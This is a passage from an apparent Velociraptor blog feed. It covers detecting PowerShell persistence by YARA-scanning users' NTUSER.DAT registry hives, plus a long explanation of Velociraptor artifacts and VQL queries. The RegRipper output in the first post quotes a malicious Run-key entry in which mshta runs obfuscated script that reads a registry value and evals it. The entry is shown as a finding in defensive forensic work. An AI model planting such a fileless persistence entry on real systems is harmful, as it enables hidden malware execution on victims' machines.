this file more&#xA;carefully later.&lt;/p&gt;&#xA;&lt;p&gt;In this case, we can not rely on globbing the &lt;code&gt;HKEY_USER&lt;/code&gt; registry hive,&#xA;so maybe we can just search the files that back these hives? We know&#xA;that each user on the system has an NTUSER.DAT file in their home&#xA;directory (usually C:\\Users\\&amp;lt;username&amp;gt;), so let&#39;s write an&#xA;artifact to find these files. We can reuse the artifact&#xA;Windows.Sys.Users that reports all user accounts on a system (we display&#xA;it as JSON to enhance readability):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;F:\&amp;gt;velociraptor.exe artifacts collect Windows.Sys.Users --format json&#xA;INFO:2018/09/28 22:44:26 Loaded 34 built in artifacts&#xA;{&#xA; &amp;quot;Description&amp;quot;: &amp;quot;&amp;quot;,&#xA; &amp;quot;Directory&amp;quot;: &amp;quot;C:\\Users\\test&amp;quot;,&#xA; &amp;quot;Gid&amp;quot;: 513,&#xA; &amp;quot;Name&amp;quot;: &amp;quot;test&amp;quot;,&#xA; &amp;quot;Type&amp;quot;: &amp;quot;local&amp;quot;,&#xA; &amp;quot;UUID&amp;quot;: &amp;quot;S-1-5-21-546003962-2713609280-610790815-1001&amp;quot;,&#xA; &amp;quot;Uid&amp;quot;: 1001&#xA;},&#xA;{&#xA; &amp;quot;Description&amp;quot;: &amp;quot;&amp;quot;,&#xA; &amp;quot;Directory&amp;quot;: &amp;quot;C:\\Users\\user1&amp;quot;,&#xA; &amp;quot;Gid&amp;quot;: 513,&#xA; &amp;quot;Name&amp;quot;: &amp;quot;user1&amp;quot;,&#xA; &amp;quot;Type&amp;quot;: &amp;quot;local&amp;quot;,&#xA; &amp;quot;UUID&amp;quot;: &amp;quot;S-1-5-21-546003962-2713609280-610790815-1003&amp;quot;,&#xA; &amp;quot;Uid&amp;quot;: 1003&#xA;},&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So we just want to YARA scan the NTUSER.DAT file in each home directory:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;SELECT * from foreach(&#xA;row={&#xA;   SELECT Name, Directory as HomeDir&#xA;     FROM Artifact.Windows.Sys.Users()&#xA;    WHERE Directory.value and Gid&#xA;},&#xA;query={&#xA;  SELECT File.FullPath As FullPath,&#xA;         Strings.Offset AS Off,&#xA;         Strings.HexData As Hex,&#xA;          upload(file=File.FullPath, accessor=&amp;quot;ntfs&amp;quot;) AS Upload&#xA;      FROM yara(&#xA;            files=&amp;quot;\\\\.\\&amp;quot; + HomeDir + &amp;quot;\\ntuser.dat&amp;quot;,&#xA;            accessor=&amp;quot;ntfs&amp;quot;,&#xA;            rules=yaraRule, context=10)&#xA;      })&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This query:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Selects all the usernames and their home directory from the&#xA;Windows.Sys.Users artifact.&lt;/li&gt;&#xA;&lt;li&gt;For each directory prepends \\\\.\\ and appends&#xA;&amp;quot;ntuser.dat&amp;quot;. For example c:\\Users\\test becomes&#xA;\\\\.\\c:\\Users\\test\\NTUSER.dat&lt;/li&gt;&#xA;&lt;li&gt;The file is accessed using the NTFS filesystem accessor. This is&#xA;necessary because the registry hive is locked if the user is logged&#xA;in. Therefore we must access it using raw NTFS parsing to bypass the&#xA;OS locking.&lt;/li&gt;&#xA;&lt;li&gt;For each file that matches the yara expression, we upload the file&#xA;to the server for further analysis.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Lets run this new artifact on the server:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/09/29/detecting_powershell_persistence_with_velociraptor_and_yara//blog/html/2018/09/29/detecting_powershell_persistence_with_velociraptor_and_yara/powershell5.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;image&#34;&#xA;         width=&#34;1236&#34; height=&#34;699&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;powershell5.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    image&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Unlike the previous artifact, this one simply returns the YARA hit, but&#xA;because we do not have any context on which value contained the&#xA;signature, or even if it had been deleted. Luckily we uploaded the raw&#xA;registry hive for further analysis, and we can use a tool such as&#xA;RegRipper to extract more information from the hive:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;$ wine rip.exe -p user_run -r&#xA;/tmp/velociraptor/clients/C.c916a7e445eb0868/uploads/F.078739d6/ntfs/&#xA;%5C%5C.%5CC%3A%5CUsers%5Cuser1%5CNTUSER.DAT&#xA;Launching user_run v.20140115&#xA;user_run v.20140115&#xA;(NTUSER.DAT) [Autostart] Get autostart key contents from NTUSER.DAT hive&#xA;&#xA;Software\Microsoft\Windows\CurrentVersion\Run&#xA;LastWrite Time Thu Sep 27 01:19:08 2018 (UTC)&#xA; OneDrive: &amp;quot;C:\Users\user1\AppData\Local\Microsoft\OneDrive\OneDrive.exe&amp;quot;&#xA;   /background&#xA; c:\windows\system32\mshta.exe: about:&amp;lt;script&amp;gt;c1hop=&amp;quot;X642N10&amp;quot;;&#xA;   R3I=new%20ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&#xA;   QR3iroUf=&amp;quot;I7pL7&amp;quot;;k9To7P=R3I.RegRead(&amp;quot;HKCU\\software\\&#xA;   bkzlq\\zsdnhepyzs&amp;quot;);J7UuF1n=&amp;quot;Q2LnLxas&amp;quot;;eval(k9To7P);JUe5wz3O=&amp;quot;zSfmLod&amp;quot;;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note above how we can simply retrieve the uploaded file from&#xA;Velociraptor&#39;s filestore. Velociraptor stores uploaded files on the&#xA;filesystem within the flow&#39;s directory.&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;In this blog post we saw how to utilize YARA to find suspicious&#xA;powershell persistence mechanisms. YARA is a powerful tool and using&#xA;Velociraptor&#39;s artifacts we can apply it to files, registry values, and&#xA;raw NTFS files such as locked registry hives and the pagefile.&lt;/p&gt;&#xA;&lt;p&gt;We also saw some of the inherent problems with relying on the&#xA;&lt;code&gt;HKEY_USERS&lt;/code&gt; registry hive for detection - the hive is only present when&#xA;a user is logged in so when we hunt, we might miss those users who are&#xA;currently logged out. We saw how YARA can be used to detect suspicious&#xA;patterns in raw registry hive files and how artifacts may retrieve those&#xA;files for further analysis.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor walk through and demo</title>
      <link>https://www.velociraptor-docs.org/blog/html/2018/09/03/velociraptor_walk_through_and_demo/</link>
      <pubDate>Mon, 03 Sep 2018 04:10:06 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/html/2018/09/03/velociraptor_walk_through_and_demo/</guid>
      <description>&lt;p&gt;I just uploaded a screencast of the latest Velociraptor - check it out&#xA;and play with it, and please provide feedback at&#xA;&lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt;&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden; max-width: 100%; height: auto;&#34;&gt;&#xA;&lt;iframe width=&#34;560&#34; height=&#34;315&#34; src=&#34;https://www.youtube.com/embed/ecP-TeUvSEY&#34;&#xA;   frameborder=&#34;0&#34; allow=&#34;autoplay; encrypted-media&#34; allowfullscreen&gt;&lt;/iframe&gt;&#xA;&lt;/div&gt;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor Artifacts</title>
      <link>https://www.velociraptor-docs.org/blog/html/2018/08/20/velociraptor_artifacts/</link>
      <pubDate>Mon, 20 Aug 2018 04:10:06 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/html/2018/08/20/velociraptor_artifacts/</guid>
      <description>&lt;p&gt;First a bit of history. When we first started writing endpoint&#xA;monitoring tools (With GRR then Rekall Agent) we implemented the ability&#xA;to collect files, registry keys and other data. If an analyst wanted to&#xA;collect, say the chrome extensions, they would need to know where chrome&#xA;extensions typically reside (&#xA;&lt;code&gt;%homedir%/.config/google-chrome/Extensions/**&lt;/code&gt;) and enter that in each&#xA;time.&lt;/p&gt;&#xA;&lt;p&gt;We soon realized this was error prone and required too much mental&#xA;overhead for analysts to constantly remember these details. GRR inspired&#xA;the creation of the Forensic Artifacts project. It was created in order&#xA;to solve the problem of documenting and sharing knowledge about forensic&#xA;evidence file and registry location.&lt;/p&gt;&#xA;&lt;p&gt;Further, since GRR can only collect files and has limited parsing&#xA;support, the parsing and interpretation of the artifacts is not&#xA;specified. GRR Artifacts can only specify file sets (via globs),&#xA;registry key/value sets and collections of other artifacts. These are a&#xA;bit limited in their expressiveness, and so it means that GRR has to&#xA;augment forensic artifacts with a lot of GRR specific things (like post&#xA;processing, parsing etc) to make them useful. Although Forensic&#xA;Artifacts are supposed to be tool agnostic they carry over a lot of GRR&#xA;implementation details (e.g. the knowledge base interpolations, glob&#xA;patterns etc).&lt;/p&gt;&#xA;&lt;p&gt;Next came OSQuery with their SQL like syntax. This was a huge&#xA;advancement at the time because it allows users to customize the data&#xA;they obtained from their endpoint, and ask questions from the entire&#xA;enterprise at once. For the first time it was possible to combine data&#xA;from multiple sources (i.e. OSQuery &amp;quot;tables&amp;quot;) in an intelligent way&#xA;and customize the output to fit a processing pipeline, rather than write&#xA;a lot of interface glue code to filter and extract data.&lt;/p&gt;&#xA;&lt;p&gt;Currently OSQuery has grown many tables - each table typically&#xA;implements a specific parser to extract one set of data. In this sense&#xA;OSQuery also solves the same problem as GRR&#39;s artifacts - they provide&#xA;a single named entity (called a table in OSQuery) which produces results&#xA;about one type of thing (e.g. arp_cache table produces results about&#xA;the arp cache entries). The user can then just ask for the ARP cache and&#xA;doesn&amp;rsquo;t care how we get it.&lt;/p&gt;&#xA;&lt;p&gt;The next logical development was the development of Velociraptor Query&#xA;Language (VQL). VQL is not pure SQL - instead it is an SQL like language&#xA;with a severely reduced feature set. The main difference with regular&#xA;SQL is the ability to provide arguments to table names - that is a VQL&#xA;plugin is a data source that can receive arbitrary arguments.&lt;/p&gt;&#xA;&lt;p&gt;This changes the entire game - since we can now provide high level&#xA;functions to control plugin execution. Combined with the VQL ability to&#xA;combine multiple queries into subqueries this opens the door for very&#xA;complex types of queries.&lt;/p&gt;&#xA;&lt;p&gt;For example, consider the OSQuery users table. This table reads the&#xA;system&#39;s /etc/passwd file and parses out the different columns. It is&#xA;hard coded into the OSQuery binary. While this is a very simple table,&#xA;it shares its operation with many other similar tables. Other tables&#xA;open similar files, parse them line by line and return each field as the&#xA;query&#39;s columns. There are many similar files that contain useful&#xA;information on a system. If one was to add a parser for each one in&#xA;OSQuery, then they need to write a small amount of code, recompile the&#xA;binary and push it out to clients.&lt;/p&gt;&#xA;&lt;p&gt;Re-deploying new code to endpoints is a difficult task in practice.&#xA;There is testing and release processes to employ. Furthermore if a local&#xA;modification is made to OSQuery one needs to submit PRs upstream,&#xA;otherwise the codebases may diverge and maintainance would be difficult.&lt;/p&gt;&#xA;&lt;p&gt;Rather than have a built in plugin for each such table, Velociraptor&#xA;simply includes a number of generic parsers which may be reused for&#xA;parsing different files. For example, consider the following VQL Query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;SELECT User, Desc, Uid, Gid, Homedir, Shell FROM parse_records_with_regex(&#xA;      file=&amp;quot;/etc/passwd&amp;quot;,&#xA;      regex=&#39;(?m)^(?P&amp;lt;User&amp;gt;[^:]+):([^:]+):&#39; +&#xA;            &#39;(?P&amp;lt;Uid&amp;gt;[^:]+):(?P&amp;lt;Gid&amp;gt;[^:]+):(?P&amp;lt;Desc&amp;gt;[^:]*):&#39; +&#xA;            &#39;(?P&amp;lt;Homedir&amp;gt;[^:]+):(?P&amp;lt;Shell&amp;gt;[^:\\s]+)&#39;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;parse_records_with_regex()&lt;/code&gt; plugin simply applies one or more regex&#xA;to a file and each match is sent as a record. In this case, each line is&#xA;matched and parsed into its components automatically. Note how the query&#xA;produces the same results as OSQuery&#39;s users table, but uses completely&#xA;generic parsers.&lt;/p&gt;&#xA;&lt;p&gt;The generic parser can be used to parse many other file types. Here is&#xA;query which parses debian apt-source lines:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;SELECT * FROM parse_records_with_regex(&#xA;   file=&amp;quot;/etc/apt/sources.list&amp;quot;,&#xA;   regex=&amp;quot;(?m)^ *(?P&amp;lt;Type&amp;gt;deb(-src)?) &amp;quot;+&#xA;         &amp;quot;(?:\\[arch=(?P&amp;lt;Arch&amp;gt;[^\\]]+)\\] )?&amp;quot; +&#xA;         &amp;quot;(?P&amp;lt;URL&amp;gt;https?://(?P&amp;lt;base_uri&amp;gt;[^ ]+))&amp;quot; +&#xA;         &amp;quot; +(?P&amp;lt;components&amp;gt;.+)&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Having the ability to control parsing directly in the query opens up&#xA;many possibilities. What if we need to parse new files which do not have&#xA;an OSQuery parser yet (maybe an enterprise application configuration&#xA;file)? We can easily construct a query using the generic parsers and&#xA;issue it to the endpoint to support new file format.&lt;/p&gt;&#xA;&lt;h1 id=&#34;velociraptor-artifacts&#34;&gt;Velociraptor Artifacts&lt;/h1&gt;&#xA;&lt;p&gt;In the previous section we saw how we can express very complex queries&#xA;to support novel parsing scenarios. However it is hard for users to&#xA;directly issue the queries - who can remember this complex regex and&#xA;type it in every time?&lt;/p&gt;&#xA;&lt;p&gt;We clearly need some way to record the queries in a simple, reusable&#xA;way. This sounds a lot like GRR&#39;s Artifacts! What if we could just&#xA;write the complex query in a YAML file and then just said to&#xA;Velociraptor - go collect that artifact and the correct queries would be&#xA;issued to the client automatically.&lt;/p&gt;&#xA;&lt;p&gt;Rather than try to make artifacts generic, we define Velociraptor&#xA;Artifacts as YAML files which simply bundle together a bunch of VQL&#xA;statements that together run a particular query. In a sense,&#xA;Velociraptor&#39;s artifacts are similar to OSQuery&#39;s table definition&#xA;(since they specify output columns), except they are defined completely&#xA;by the YAML definition file, using generic reusable VQL plugins, put&#xA;together with VQL queries.&lt;/p&gt;&#xA;&lt;p&gt;Here is an example of the the Linux.Sys.Users artifact - this is the&#xA;equivalent artifact to OSQuery&#39;s users table:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;name: Linux.Sys.Users&#xA;description: Get User specific information like homedir, group etc from /etc/passwd.&#xA;parameters:&#xA;  - name: PasswordFile&#xA;    default: /etc/passwd&#xA;    description: The location of the password file.&#xA;sources:&#xA;  - precondition: |&#xA;     SELECT OS From info() where OS = &#39;linux&#39;&#xA;    queries:&#xA;      - SELECT User, Desc, Uid, Gid, Homedir, Shell&#xA;         FROM parse_records_with_regex(&#xA;           file=PasswordFile,&#xA;           regex=&#39;(?m)^(?P&amp;lt;User&amp;gt;[^:]+):([^:]+):&#39; +&#xA;                 &#39;(?P&amp;lt;Uid&amp;gt;[^:]+):(?P&amp;lt;Gid&amp;gt;[^:]+):(?P&amp;lt;Desc&amp;gt;[^:]*):&#39; +&#xA;                 &#39;(?P&amp;lt;Homedir&amp;gt;[^:]+):(?P&amp;lt;Shell&amp;gt;[^:\\s]+)&#39;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The artifact has a specific name (Linux.Sys.Users) and a description.&#xA;The Artifact will only run if the precondition is satisfied (i.e. if we&#xA;are running on a linux system). Running the artifact locally produces&#xA;the following output:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;$ velociraptor artifacts collect Linux.Sys.Users&#xA;+-------------------+-------------------------+-------+-------+--------------------------+&#xA;|       USER        |              DESC       |  UID  |  GID  |         HOMEDIR          |&#xA;+-------------------+-------------------------+-------+-------+--------------------------+&#xA;| root              | root                    |     0 |     0 | /root                    |&#xA;| daemon            | daemon                  |     1 |     1 | /usr/sbin                |&#xA;| bin               | bin                     |     2 |     2 | /bin                     |&#xA;| sys               | sys                     |     3 |     3 | /dev                     |&#xA;| sync              | sync                    |     4 | 65534 | /bin                     |&#xA;| games             | games                   |     5 |    60 | /usr/games               |&#xA;| man               | man                     |     6 |    12 | /var/cache/man           |&#xA;| lp                | lp                      |     7 |     7 | /var/spool/lpd           |&#xA;| mail              | mail                    |     8 |     8 | /var/mail                |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h1 id=&#34;why-would-i-want-to-use-artifacts&#34;&gt;Why would I want to use Artifacts?&lt;/h1&gt;&#xA;&lt;p&gt;We just demonstrated that Velociraptor&#39;s artifact produces the same&#xA;output as OSQuery&#39;s users table - so what? Why use an artifact over&#xA;hard coding the table in the executable?&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor is inherently a remote endpoint monitoring agent. Agents&#xA;are installed on many end points and once installed it is often&#xA;difficult to remotely update them. For various reasons, endpoints are&#xA;often difficult to upgrade - for example, they might be off the&#xA;corporate LAN, or have a broken update agent.&lt;/p&gt;&#xA;&lt;p&gt;In particular, when responding to a major incident, we often have to&#xA;rapidly deploy a new hunt to search for an indicator of compromise. In&#xA;most cases we don&#39;t have time to go through proper software deployment&#xA;best practice and upgrade our endpoint agent in rapid succession (it&#xA;typically takes weeks to have endpoint agents upgraded).&lt;/p&gt;&#xA;&lt;p&gt;However, Velociraptor&#39;s artifacts allow us to write a new type of&#xA;parser immediately since it is just a YAML file with VQL statements, we&#xA;can push it immediately to the clients with no code changes, rebuild, or&#xA;redeploy scripts. That is very powerful!&lt;/p&gt;&#xA;&lt;p&gt;Not only can we add new artifacts, but we can adapt artifacts on the fly&#xA;to different systems - perhaps there is a slightly different version of&#xA;Linux which keeps files in different locations? Or maybe a slightly&#xA;different format of the file we are trying to parse. Being able to adapt&#xA;rapidly is critical.&lt;/p&gt;&#xA;&lt;h1 id=&#34;so-how-do-i-use-artifacts&#34;&gt;So how do I use Artifacts?&lt;/h1&gt;&#xA;&lt;p&gt;Velociraptor exposes artifacts via two main mechanisms. The first is the&#xA;Artifact Collector flow. This flow presents a special GUI which allows&#xA;us to view the different artifacts, choose which ones we want to launch&#xA;and describes them:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/08/20/velociraptor_artifacts//blog/html/2018/08/20/velociraptor_artifacts/artifacts_how_to.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;1600&#34; height=&#34;844&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;artifacts_how_to.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;As we can see in the screenshot above, the artifact collector flow&#xA;allows the user to inspect the artifacts, before issuing the VQL to the&#xA;client. The responses are received by the server and displayed as part&#xA;of the same flow:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/08/20/velociraptor_artifacts//blog/html/2018/08/20/velociraptor_artifacts/artifacts2.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;1458&#34; height=&#34;906&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;artifacts2.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This is a pretty easy set and forget type system. However, Velociraptor&#xA;makes artifacts available within any VQL query too. The artifact simply&#xA;appears as another VQL plugin. Consider the following VQL Query that&#xA;filters only user accounts which have a real shell:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;$ velociraptor query --format text &amp;quot;SELECT * FROM Artifact.Linux.Sys.Users() where Shell =~ &#39;bash&#39;&amp;quot;&#xA;+------+------+------+------+-----------+-----------+&#xA;| USER | DESC | UID  | GID  |  HOMEDIR  |   SHELL   |&#xA;+------+------+------+------+-----------+-----------+&#xA;| root | root |    0 |    0 | /root     | /bin/bash |&#xA;| mic  |      | 1000 | 1000 | /home/mic | /bin/bash |&#xA;+------+------+------+------+-----------+-----------+&#xA;SELECT * FROM Artifact.Linux.Sys.Users() WHERE Shell =~ &#39;bash&#39;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;An artifact definition can use other artifacts by simply issuing queries&#xA;against these artifact plugins. This forms a natural system of&#xA;interdependency between artifacts, and leads to artifact reuse.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-powerful-are-velociraptor-artifacts&#34;&gt;How powerful are Velociraptor Artifacts?&lt;/h2&gt;&#xA;&lt;p&gt;Previously we described Velociraptor artifacts as having some properties&#xA;in common with GRR&#39;s artifacts (pure YAML, reusable and server side)&#xA;and OSQuery&#39;s tables (very detailed and potentially complex parsers,&#xA;directly using APIs and libraries). We said that Velociraptor attempts&#xA;to replace many of the specific &amp;quot;one artifact per table&amp;quot; model in&#xA;OSQuery with a set of YAML files referencing generic plugins.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor&#39;s artifacts can never fully emulate all OSQuery&#39;s tables&#xA;because some OSQuery tables call specific APIs and have very complex&#xA;operation. However, most of OSQuery&#39;s tables are fairly simple and can&#xA;be easily emulated by Velociraptor artifacts. In this sense&#xA;-Velociraptor lies somewhere in between GRR&#39;s simple collect all files&#xA;and registry keys without parsing them, and OSQuery&#39;s specialized&#xA;parsers. However VQL is quite capable, as we shall see. Although we can&#xA;not implement all tables using pure VQL queries, the ability to&#xA;implement many artifacts this way provides us with unprecedented&#xA;flexibility and enables rapid response to evolving threats.&lt;/p&gt;&#xA;&lt;p&gt;Let&#39;s looks at some artifacts that demonstrate this flexibility.&lt;/p&gt;&#xA;&lt;h2 id=&#34;parsing-debian-packages&#34;&gt;Parsing debian packages.&lt;/h2&gt;&#xA;&lt;p&gt;Debian packages keep a manifest file with records delimited by an empty&#xA;line. Each record consists of possible fields.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;- LET packages = SELECT parse_string_with_regex(&#xA;     string=Record,&#xA;     regex=[&#39;Package:\\s(?P&amp;lt;Package&amp;gt;.+)&#39;,&#xA;            &#39;Installed-Size:\\s(?P&amp;lt;InstalledSize&amp;gt;.+)&#39;,&#xA;            &#39;Version:\\s(?P&amp;lt;Version&amp;gt;.+)&#39;,&#xA;            &#39;Source:\\s(?P&amp;lt;Source&amp;gt;.+)&#39;,&#xA;            &#39;Architecture:\\s(?P&amp;lt;Architecture&amp;gt;.+)&#39;]) as Record&#xA;     FROM parse_records_with_regex(&#xA;            file=linuxDpkgStatus,&#xA;            regex=&#39;(?sm)^(?P&amp;lt;Record&amp;gt;Package:.+?)\\n\\n&#39;)&#xA;&#xA;- SELECT Record.Package as Package,&#xA;      Record.InstalledSize as InstalledSize, Record.Version as&#xA;      Version, Record.Source as Source, Record.Architecture as&#xA;      Architecture&#xA;  from packages&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The above query uses the parse_records_with_regex() plugin to split&#xA;the file into records (anything between the Package: and the next empty&#xA;line). Each record is then parsed separately using the&#xA;parse_string_with_regex() VQL function. Being able to parse in two&#xA;(or more) passes makes writing regexes much easier since they can be&#xA;simplified greatly.&lt;/p&gt;&#xA;&lt;h2 id=&#34;complex-multi-query-example-chrome-extensions&#34;&gt;Complex multi-query example: Chrome extensions.&lt;/h2&gt;&#xA;&lt;p&gt;An example of a sophisticated artifact is the chrome extensions&#xA;artifact. It implements the following algorithm:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;For each user on the system, locate all chrome extension manifest&#xA;files by using a glob expression.&lt;/li&gt;&#xA;&lt;li&gt;Parse the manifest file as JSON&lt;/li&gt;&#xA;&lt;li&gt;If the manifest contains a &amp;quot;default_locale&amp;quot; item, then locate the&#xA;locale message file.&lt;/li&gt;&#xA;&lt;li&gt;Parse the locale message file.&lt;/li&gt;&#xA;&lt;li&gt;Extract the extension name - if the extension has default locale&#xA;then return the string from the locale file, otherwise from the&#xA;manifest file.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The full artifact is rather long so will not be listed here in full, but&#xA;are a couple of interesting VQL plugins which make writing artifacts&#xA;more powerful.&lt;/p&gt;&#xA;&lt;p&gt;The foreach() plugin runs a query and for each row produced, a second&#xA;query is run (with the first row present in the scope). This is similar&#xA;to SQL&#39;s JOIN operator but more readable. For example the following&#xA;query executes a glob on each user&#39;s home directory (as obtained from&#xA;the password file):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;LET extension_manifests = SELECT * from foreach(&#xA; row={&#xA;    SELECT Uid, User, Homedir from Artifact.Linux.Sys.Users()&#xA; },&#xA; query={&#xA;    SELECT FullPath, Mtime, Ctime, User, Uid from glob(&#xA;      globs=Homedir + &#39;/&#39; + extensionGlobs)&#xA; })&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note how the query is assigned to the variable &amp;quot;extension_manifests&amp;quot;&#xA;which can be used as an input to other queries. The if() plugin&#xA;evaluates a condition (or a query) and runs the &amp;quot;then&amp;quot; query if true,&#xA;or the &amp;quot;else&amp;quot; query:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;LET maybe_read_locale_file = SELECT * from if(&#xA;     condition={&#xA;        select * from scope() where Manifest.default_locale&#xA;     },&#xA;     query={&#xA;        SELECT Manifest, Uid, User, Filename as LocaleFilename,&#xA;               ManifestFilename, parse_json(data=Data) AS LocaleManifest&#xA;        FROM read_file(&#xA;                -- Munge the filename to get the messages.json path.&#xA;                filenames=regex_replace(&#xA;                  source=ManifestFilename,&#xA;                  replace=&amp;quot;/_locales/&amp;quot; + Manifest.default_locale + &amp;quot;/messages.json&amp;quot;,&#xA;                  re=&amp;quot;/manifest.json$&amp;quot;))&#xA;     },&#xA;     else={&#xA;         -- Just fill in empty Locale results.&#xA;         SELECT Manifest, Uid, User, &amp;quot;&amp;quot; AS LocaleFilename, &amp;quot;&amp;quot; AS ManifestFilename,&#xA;                &amp;quot;&amp;quot; AS LocaleManifest FROM scope()&#xA;     })&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2 id=&#34;parsing-binary-data-wtmp-file-parser&#34;&gt;Parsing binary data: Wtmp file parser.&lt;/h2&gt;&#xA;&lt;p&gt;It is also possible to parse binary files with VQL. For example,&#xA;consider the wtmp file parser implemented in the Linux.Sys.LastUserLogin&#xA;artifact. This artifact uses the binary_parser() VQL plugin which&#xA;accepts a Rekall style profile string to instantiate an iterator over&#xA;the file. Since the wtmp file is simply a sequence of wtmp structs, we&#xA;can iterate over them in a query.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;SELECT * from foreach(&#xA;         row={&#xA;           SELECT FullPath from glob(globs=split(string=wtmpGlobs, sep=&amp;quot;,&amp;quot;))&#xA;         },&#xA;         query={&#xA;           SELECT ut_type, ut_id, ut_host as Host, ut_user as User,&#xA;                 timestamp(epoch=ut_tv.tv_sec) as login_time&#xA;           FROM binary_parse(&#xA;                  file=FullPath,&#xA;                  profile=wtmpProfile,&#xA;                  iterator=&amp;quot;Array&amp;quot;,&#xA;                  Target=&amp;quot;wtmp&amp;quot;&#xA;                )&#xA;         })&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2 id=&#34;the-future&#34;&gt;The future&lt;/h2&gt;&#xA;&lt;p&gt;We started implementing many of the simpler OSQuery 